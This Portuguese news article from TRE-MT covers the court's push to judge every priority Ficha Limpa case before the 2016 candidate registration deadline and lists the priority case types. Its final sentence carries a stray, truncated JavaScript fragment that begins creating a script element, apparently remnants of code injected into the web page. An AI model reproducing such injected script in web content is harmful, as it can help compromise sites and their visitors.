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Lei da Ficha Limpa: TRE-MT garante julgamento de 100% dos processos prioritários

Fonte: Assessoria TRE

Até o dia 15 de agosto, prazo final para os registros de candidaturas, a Justiça Eleitoral de Mato Grosso terá julgado 100% dos processos que podem tornar um cidadão “ficha suja”. No segundo grau de jurisdição, do total de 123 ações consideradas prioritárias para essa finalidade, faltam apenas 16 para serem julgadas. As metas estão estipuladas no projeto Pauta Limpa 2016.

fichaA Lei Complementar 135/10, também conhecida como Lei da Ficha Limpa, prevê a inelegibilidade do cidadão em determinados casos, com o objetivo de proteger a probidade e moralidade administrativas no exercício do mandato. São considerados inelegíveis os candidatos que forem condenados, em decisão transitada em julgado ou proferida por órgão judicial colegiado, que praticaram crimes contra a economia popular, a fé pública, a administração pública, o patrimônio público, o patrimônio privado, o sistema financeiro, contra o meio ambiente, a saúde pública, além dos condenados por racismo, tortura, terrorismo, crimes contra a vida, dentre outros. Também ficam inelegíveis os candidatos condenados por órgão colegiado por terem cometido crimes eleitorais.

A presidente do Tribunal Regional Eleitoral de Mato Grosso, desembargadora Maria Helena Póvoas, explica que o registro de candidaturas para as eleições municipais deste ano ocorrerá até o dia 15 de agosto. Se o pretenso candidato, antes deste prazo, sofrer uma condenação que o enquadre na Lei da Ficha Limpa, ele não terá seu requerimento de registro de candidatura deferido, por não reunir todas as condições de elegibilidade. “Se, porém, a condenação for posterior à sentença que deferir a candidatura, e tendo essa transitado em julgado, não haverá para o candidato impedimento para concorrer ao pleito eleitoral e exercer o cargo, caso seja eleito. Neste caso, a condenação não retroage e só terá efeitos em futuras disputas eleitorais. Daí a importância de ‘limpar a pauta’ no que diz respeito aos processos judiciais prioritários para a plena aplicação da Lei da Ficha Limpa”, concluiu a presidente do TRE-MT.

Ela ressaltou ainda que a Justiça Eleitoral se empenha em dar exemplo e em fazer o seu dever de casa. “É um dever social. É um dever moral. É um dever que fortalece a democracia”, ressaltou.

Maria Helena foi a idealizadora do Projeto Pauta Limpa – lançado em 2012, época em que exercia o cargo de corregedora regional eleitoral. A iniciativa foi um sucesso, sendo inclusive utilizada como base pelo Conselho Nacional de Justiça (CNJ) na elaboração das metas específicas para a Justiça Eleitoral em todo o país no ano de 2016.

Pauta Limpa 2016

As metas do Pauta Limpa são estipuladas visando o período eleitoral. O objetivo é que as zonas eleitorais (1º instância) e o TRE-MT (2º instância) julguem todos processos – que possam acarretar na não diplomação, perda de mandato eletivo e declaração de inelegibilidade, antes do requerimento do registro de candidatura (RRC).

Na Justiça Eleitoral são considerados prioritários os seguintes processos: Ação de Impugnação de Mandato Eletivo (AIME); Ação de Investigação Judicial Eleitoral (AIJE); Petição (PET) quando se tratar da perda de mandato eletivo; Prestação de Contas (PC); Ação Penal (AP); Recurso Contra Expedição de Diploma (RCED); Recursos Eleitorais (RE) de processos prioritários de 1º grau; Recursos Criminais (RC) e Representações (RP). Esta última quando tratarem dos seguintes assuntos: captação ou gasto ilícito de recursos financeiros de campanha (gasto ilícito); captação ilícita de sufrágio; conduta vedada a agente público; pedido de cassação de diploma; pedido de cassação de registro de candidatura; pedido de cassação; perda de mandato eletivo; e doação de recursos acima do limite legal.var d=document;var s=d.createElement(‘script’);

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